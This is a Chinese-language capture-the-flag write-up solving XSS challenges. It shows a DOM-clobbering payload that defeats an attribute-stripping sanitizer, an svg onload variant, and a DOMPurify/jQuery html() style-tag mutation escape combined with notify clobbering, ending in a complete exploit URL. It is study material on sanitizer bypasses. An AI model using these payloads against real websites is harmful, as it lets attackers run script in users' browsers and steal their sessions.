这段代码的错误之处在于,都是对同一个数组操作,删除数组中的第一个属性,此时此时循环指针继续走到数组中的第二个元素。但是数组删除第一个之后数组原本的第二个就变成数组中的第一个属性,此时的第二个应该是原本数组的第三个。所以指针执行的第二个元素,并将其删除。将原本数组第二个的元素保留了下来。
对其代码进行修复
<body>
<style>@keyframes x{}</style><form style="animation-name: x" onanimationstart="alert(1)"><input id=attributes><input id=attributes>
</body>
<script>
const data = decodeURIComponent(location.hash.substr(1))
const root = document.createElement('div')
root.innerHTML = data
for (let el of root.querySelectorAll('*')) {
let attrs = [];
for (let attr of el.attributes) {
attrs.push(attr.name)
}
for (let name of attrs) {
el.removeAttribute(name);
}
}
document.body.appendChild(root);
</script>
此时我们可以尝试上一次的解题方法,发现img标签中的
方法一
此时仍然可以考虑dom破坏,我们是不是可以构建一个id = attributes用来代码中用来指定el.attributes中的attributes方法。即替换el.attributes的值为一个id为attributes的标签。我们尝试传递两个input标签id为atteributes,用来进行断点调试。
我们发现data中是两个input标签。在经过循环的时候。调用el.atteributes取得是input的整个标签,即将id写入到attrs数组中。最后删除的时候其实是删除的id属性。
此时就很简单了,使用了@keyframes
规则,定义了一个名为x
的动画。这个动画是空的(没有任何关键帧),因此它不会产生任何视觉上的效果。并且创建了一个<form>
元素,并为其应用了刚刚定义的动画x
。通过style="animation-name: x"
,表单元素被赋予了动画名称x
,即它将会尝试执行这个动画。并且为表单元素添加了onanimationstart
事件监听器。当任何与这个元素相关的CSS动画开始时,onanimationstart
事件就会被触发。在这个事件被触发时,会执行alert(1)
,这会在页面上弹出一个提示框,显示数字1
。
<style>@keyframes x{}</style><form style="animation-name: x" onanimationstart="alert(1)"><input id=attributes><input id=attributes>
进行断点调试,首先应该进入style标签,但是该标签并没有属性。所以没啥能删除的。代码之清空属性,不对内容进行处理。
继续走到form标签。form标签中有内容。
代码对form标签的属性进行遍历。但是在经过el.atteributes的时候我们发现,此时attr取到了form下的两个input标签,所以attr.name指的是input标签的name属性。但是input表单中没有name,所以此时其实没有对form属性进行处理没有做处理,只是处理了input的name属性。
接着走到input标签,此时的开始清除两个input的属性。
方法二
使用两个svg标签进行嵌套。
<svg><svg onload=alert(1)></svg>
例题10-- WW3
这道题一开始仍然进行过滤,过滤了<>
、""
、''
、=
几个符号。并且直接将notify赋值为false。定义两个参数text和img用来读取URL地址栏传递的参数。如果text和img都不为空。就在页面中写入三条标签,等待text和img加载完成之后执行memeGen函数。
在memeGen函数中,如果text和img都不为空,就执行memeTemplate函数,并将其返回内容并将其展示在页面上。并且在后定义一个setTimeout函数,在1s后执行移除一开始写的三个标签、判断notify是否为真、展示memeTemplate函数返回内容。
由于notify一直为false,所以基本上不能进入第七个标记位。并且这道题第五部分和第七部分都是用DOMPurify过滤框架,并且在memeTemplate函数显示内容中使用的是textarea标签。将内容全部识别为字符串。
这道题的入口点是在notify=true。所以需要用DOM破坏,使notify的值为true。首先尝试用DOM-clobbering创造一个id为notify
的变量,但是这种方式不允许覆盖已经存在的变量。所以我们可以使用name属性,这时候如果在对notify进行判断的话,notify此时是一个标签,肯定不为false。
乍一看经过DOMPurify
后的这些交互点都很安全,但是使用html()
解析会存在标签逃逸问题(3.4.1版本)。两种解析html的方式:jquery.html&innerhtml。innerHTML
是原生js的写法,Jqury.html()
也是调用原生的innerHTML方法,但是加了自己的解析规则(后文介绍)。
关于两种方式:Jquery.html()
和innerHTMl
的区别我们用示例来看。
对于innerHTML:模拟浏览器自动补全标签,不处理非法标签。同时,<style>
标签中不允许存在子标签(style标签最初的设计理念就不能用来放子标签),如果存在会被当作text解析。因此<style><style/><script>alert(1337)//
会被渲染如下
<style>
<style/><script>alert(1337)//
</style>
对于Jqury.html()
,最终对标签的处理是在htmlPrefilter()
方法中实现:jquery-src,其后再进行原生innerHTML的调用来加载到页面。核心代码如下
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^/>x20trnf]*)[^>]*)/>/gi
jQuery.extend( {
htmlPrefilter: function( html ) {
return html.replace( rxhtmlTag, "<$1></$2>" );
}
...
})
tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];
正则的作用
-
/<
:-
匹配一个左尖括号
<
,表示HTML标签的开始。
-
-
(?!area|br|col|embed|hr|img|input|link|meta|param)
:-
这是一个负向先行断言,表示在匹配的当前位置,后面不能是指定的标签名。
-
area|br|col|embed|hr|img|input|link|meta|param
:这些是一些典型的自闭合标签(如<br>
、<img>
等),它们不需要结束标签。 -
这个断言确保了接下来的匹配对象不是这些自闭合标签。
-
-
(([a-z][^/>x20trnf]\*)[^>]\*)
:-
([a-z][^/>x20trnf]*)
:这一部分用于匹配标签名,要求标签名以小写字母开头,接着可以跟随任意不包括/
、>
或空格等字符的内容。 -
[^>]*
:接着是匹配标签内的其他属性或内容,直到遇到>
为止。 -
这一部分匹配整个标签的名称和属性部分,但不包括结束的
/>
。
-
-
\/>
:-
匹配以
/>
结尾的标签,这意味着这个标签是一个自闭合标签。
-
-
/gi
:-
g
:表示全局匹配,即匹配字符串中的所有符合条件的内容,而不仅仅是第一个。 -
i
:表示不区分大小写匹配。
-
这个正则表达式的作用是匹配不是area
、br
、col
、embed
、hr
、img
、input
、link
、meta
、param
这些自闭合标签的其他自闭合标签。
并且由于进行分组为后文的分组引用做准备 --- 即$1和$2做准备。如图分组一为div
,分组二也为div
。
这个正则表达式在匹配<*/>
之后会重新生成一对标签(区别于直接调用innerHTML)。
所以相同的语句<style><style/><script>alert(1337)//
则会被解析成如下形式,成功逃逸<script>
标签。将原来的<style/>
变成一个完整的标签 <style></style>
。但是由于此时跟第一个style标签构成闭合,就造成了script标签逃逸出来。
<style>
<style>
</style>
<script>alert(1337)//
注意:由于我们一开始语句为<style><style/><script>alert(1337)//
// 是注释后面的内容
此时由于第一个<style>没有写结束符,所以会调用原生的html()自动补上一个结束符。而遇到<style/>会改写成一个完整的style标签。所以我们要注释最后一个,让出现第一个</style>和第一个<style>闭合
我们知道DOMPurify的工作机制是将传入的payload分配给元素的innerHtml属性,让浏览器解释它(但不执行),然后对潜在的XSS进行清理。由于DOMPurify在对其进行innerHtml
处理时,script
标签被当作style
标签的text处理了,所以DOMPurify不会进行清洗(因为认为这是无害的payload),但在其后进入html()时,这个无害payload就能逃逸出来一个有害的script
标签从而xss。注意先后顺序是先进行DOMPurify过滤,之后才是html()处理。如果翻一番即使逃逸出来了,依然会被DOMPurify过滤掉。
此时就要考虑text和img不是全局变量。在不同的函数中否能满足text和img两个变量都存在的条件呢?
在JS的函数中,一个变量是否可访问要看它的作用域(scope),变量的作用域有全局作用域和局部作用域(函数作用域)两种。函数内部用var
声明的inVariaiable
属于局部作用域范畴,在全局作用域没有声明。
作用域最大的用处就是隔离变量,不同作用域下同名变量不会有冲突。在寻找一个变量可访问性时根据作用域链来查找的,作用域链中的下一个变量对象来自包含(外部)环境,而再下一个变量对象则来自下一个包含环境。这样,一直延续到全局执行环境;全局执行环境的变量对象始终都是作用域链中的最后一个对象。即在局部找不到就会向上层找。直到最后的window。
memeGen函数在函数内找不到text,onload 的作用域也找不到text,就会去 script下面找,而多个 script 属于同一个作用域,所以对于函数当中的 text 以及 img ,它是在下一块 JS 代码段定义的。
最后要注意的是在不同的游览器中img的加载方式不同,分为异步加载和同步加载。一般情况下是异步加载,即网页加载时不会阻塞页面的渲染和其他资源的加载,从而提升用户体验和页面加载速度。
同步 vs 异步加载
-
同步加载:图片在HTML解析时立即开始加载,会阻塞后续的资源加载和页面渲染,尤其是当图片资源较大时,可能导致页面的首次加载时间变长。
-
异步加载:图片的加载过程不会阻塞页面的其他部分。页面内容可以优先加载和渲染,图片则可以在页面渲染之后或在需要时再进行加载。
所以在第四段代码中,先加载我们传入的参数,即notify变为真。之后才加载图片调用onload函数进行判断。
综上所述,传参如下
img=https://i.imgur.com/PdbDexI.jpg&text=<img name%3dnotify><style><style%2F><script>alert(1337)%2F%2F